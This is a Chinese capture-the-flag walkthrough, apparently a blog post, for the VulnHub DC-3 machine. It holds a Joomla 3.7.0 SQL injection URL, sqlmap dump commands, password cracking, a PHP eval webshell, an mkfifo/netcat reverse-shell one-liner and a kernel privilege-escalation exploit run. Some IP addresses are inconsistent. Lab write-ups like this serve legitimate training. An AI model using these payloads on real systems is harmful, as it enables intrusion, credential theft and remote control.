DC-3靶场实验

实验环境搭建:

当出现DE 设备 (磁盘/CD-ROM)配置不正确。“ide0:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”。错误时,
将IDE改为0:0即可
在这里插入图片描述

478aaee9677b465580354514fc9d882c.jpg

KAI和DC-3都用NAT模式

下载靶场环境

    靶场下载地址:DC: 3.2 ~ VulnHub

渗透靶场

1.信息收集,寻找靶机真实的IP

靶场IP为:192.168.32.0/24

使用nmap -sP 192.168.32.0/24或者使用arp-scan -l,查看网段所有的主机,可以得到DC1的IP地址

nmap -sP 192.168.32.0/24

74044ff2df2640c58c0235595cc23d06.pngarp-scan -l

d3d5642e45f84cbe96ab4c2aa07e5380.png

 靶机的IP是:192.168.32.135

192.168.321 vm8网卡

192.168.32.2 网关

192.168.32.135 靶机

192.168.32.254 DHCP服务器

192.168.32.132 kali本机

2.信息收集以及探端口及服务

nmap -A -p- -v 192.168.32.135

-A 综合性扫描

-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息963a2b975bf841cba959923008b465c9.png

发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla

a5c8a7d192f3494fa4739ad32665391b.png

他想告诉我们的是DC-3实战,任务是获得root权限

3.利用JoomScan进行扫描获取后台地址

   由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。

JoomScan简介

OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。

JoomScan简单使用

执行默认检测:

perl joomscan.pl --url www.example.com

perl joomscan.pl -u www.example.com

枚举已安装的组件:

perl joomscan.pl --url www.example.com --enumerate-components

perl joomscan.pl -u www.example.com –ec

设置cookie:

perl joomscan.pl --url www.example.com --cookie "test=demo;"

设置user-agent:

perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)"

perl joomscan.pl -u www.example.com -a "Googlebot/2.1(+http://www.googlebot.com/bot.html)"

设置随机user-agent

perl joomscan.pl -u www.example.com --random-agent

perl joomscan.pl --url www.example.com -r

更新JoomScan:

perl joomscan.pl –update

joomScan扫描

apt install joomscan

joomscan --url http://192.168.32.135  提示没有joomscan 选择y安装

52fffceddacd457f98a2f48bfd8c844a.png

joomscan -u 192.168.32.135 扫描页面

e43fe29f6c59488a967ec3237fdb95c2.png

并未检测到相关漏洞,但检测到了后台路径和joomla 3.7

得到了网站后台地址http://192.168.32.135/administrator/

3585063375d6479680bc12cbf89b3627.png

4.利用nikto扫描获取后台地址

1.Nikto简介

    Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。

2.Nikto简单使用

1、常规扫描

nikto -host/-h http://127.0.0.1

nikto -h http://127.0.0.1

2、可以指定端口进行扫描,同样可以指定SSL协议,进行HTTPS扫描。

nikto -h http:// 127.0.0.1 -p 443 ssl

3、指定子目录进行目录爆破

nikto -h http:// 127.0.0.1 -C /dvwa

4、批量扫描

nikto -host list.txt

5、升级更新插件

nikto -update

6、查看工具版本和插件版本

nikto -V

7、查看插件信息

nikto -list-plugins

8、命令查看帮助信息

nikto

9、查看更详细的帮助信息

nikto -H

man nikto

3.Nikto扫描

    我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。

nikto --url http://192.168.32.135/

2b33eaa5e4614d9b8fdc67ef76d2ef65.png

5.查找漏洞发现存在SQL注入

    我们前面知道了CMS为joomla,版本为3.7.0

所以可以使用searchsploit检查到有对应的漏洞

我们发现有一个SQL注入,还存在一个XSS

348bc01008ac48b3949a508dfb77f2af.png

我们可以查看这个漏洞的提示信息

searchsploit -m 42033.txt

12733094aec84c498a8c394ac1c5be3e.png

cat  42033.txt

937e47fc51e94fc8924a89dd43d1bb70.png

我们看到了POC,我们去验证一下,把localhost修改为我们的靶机IP就可以了

http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

看到提示,数据库语句错误,说明进行了拼接,存在SQL注入

3ea7c09daaec4669aa726c5eba17ec91.png

 6.sqlmap跑出数据

跑出所有数据库

sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch

369e7427401844358fbc58a05bc6957d.png

成功的把数据库扫出来了

1c597ddbd9e648e9a748852bea513d6a.png

获取当前数据库的名字joomladb

sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch

f416aa6d42c14a28835e0ca34b701ca5.png

sqlmap -u "http://192.168.32.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch

d37c8473c08e48b0af6194a8c843baa8.png

获取joomladb的users表的字段名

sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个Y

f15ac58651744259bcfa668e5b9afc8a.png

第二个y不要使用默认的,不然会出错

84d2c5298f6d4553af8a17b5c942f13b.png

第三个选项随意我这里是1

513c2abb0ed64688baebf15ea5cddbb6.png

第四个10

80633d4271904a23bb98fa2dd953eb57.png

跑出来6个字段

2ebf454a499247f0ac51fe08d2906c63.png

获取目标字段username和password

sqlmap -u "http://192.168.32.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

获得结果如下
拿到一个用户名和加密的密码

ec13c374aed640ea81722af6aeb57330.png

利用john爆破密码snoopy

    使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。

创建一个1.txt,把加密的密码字段写入

749c4e91ea4f4c53b33fdbea48f79b97.png

使用john破解出admin密码是snoopy

e757e0e0776c42caaf6eb74122b6b881.png

利用获取到的账号密码进行登录

http://192.168.32.135/administrator/

admin/snoopy

登陆成功

ada10cd52c094308a20a174d0a8ef117.png

7.上传webshell

    发现一个上传点

840cecf548a448e08d2e707523c2fd0e.png

点击Beez3 Details and Files进入

1af5e09c642f40f197bf4df028850cf5.png

点击newfiles

8b53f5ef67904f5b85a3378ec39987c5.png

这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑

要上传木马,我们先要找到当前文件所在的目录:

6234aeff8c4d46078f369314ad6a2a13.png

http://192.168.32.135/templates/beez3/html/

6297d65ebce14b3e88f0afa479bbb195.png

回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell

136af018cd294653998843b183ad04be.png

    创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存

<?php

echo ("密码是a");

@eval($_REQUEST [a]);

?>

87eaf30c4ea543eaa13a5f1570a28717.png

再次访问http://192.168.32.135/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下

08016a6faa234398af7157b77d6eed19.png

    访问webshell,得到我们设置的会先内容,文件上传成功

http://192.168.32.135/templates/beez3/html/shell.php

8193ac0d47c14f13a41a8499426067d4.png

8.蚁剑管理webshell

    右键添加数据

458ee1f37d7a47afb62acba81e2b94f1.png

右键进入虚拟终端执行whaomi查询我权限,是www-data权限

9642b1fc9a3d4c64840d6e7dc8f8ec13.png

9.反弹shell到kali

    蚁剑看到的终端不如kali清晰,反弹一个shell到kali

kali监听

nc -lvvp 1234

32b1fd06a94145979ff7c15501b132c1.png

靶机连接

nc -e /bin/bash 192.168.32.135 1234

此时我们发现-e参数不可用

4874956dfc214319bd9a005b53405c5f.png

    使用如下目录连接

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.32.135 1234 >/tmp/f

ls

10.创建交互式shell

    经常用shell的都知道这个shell不好用,我们建立一个交互式shell

    常用的就是python创建交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

11.使用辅助脚本发现提权漏洞

下载辅助脚本Linux-Exploit-Suggester.sh

    下载地址:

GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool

上传辅助脚本

    我们可以直接在蚁剑中上传

上传成功

发现漏洞

ls -l linux-exploit-suggester.sh

    这时候我们发现没有执行权限,我们给他加个执行文件

chmod +x linux-exploit-suggester.sh

    执行脚本

./linux-exploit-suggester.sh

发现很多可利用漏洞

12.使用辅助脚本提权

获取提权脚本

    上面发现了很多漏洞,这里我们挑一个进行提权

挑选CVE-2016-4557

在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载

也可以去searchsploit里面去看看  

地址根上面一样也不能使用

可以使用下面地址直接下载

bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab

cd 33792

ls

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

./compile.sh

./doubleput

执行完之后,提权成功

获得root权限

13.发现the-flag.txt

ls

cat the-flag.txt

到这就结束了,有哪里不完整不完善的欢迎评论区留言

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值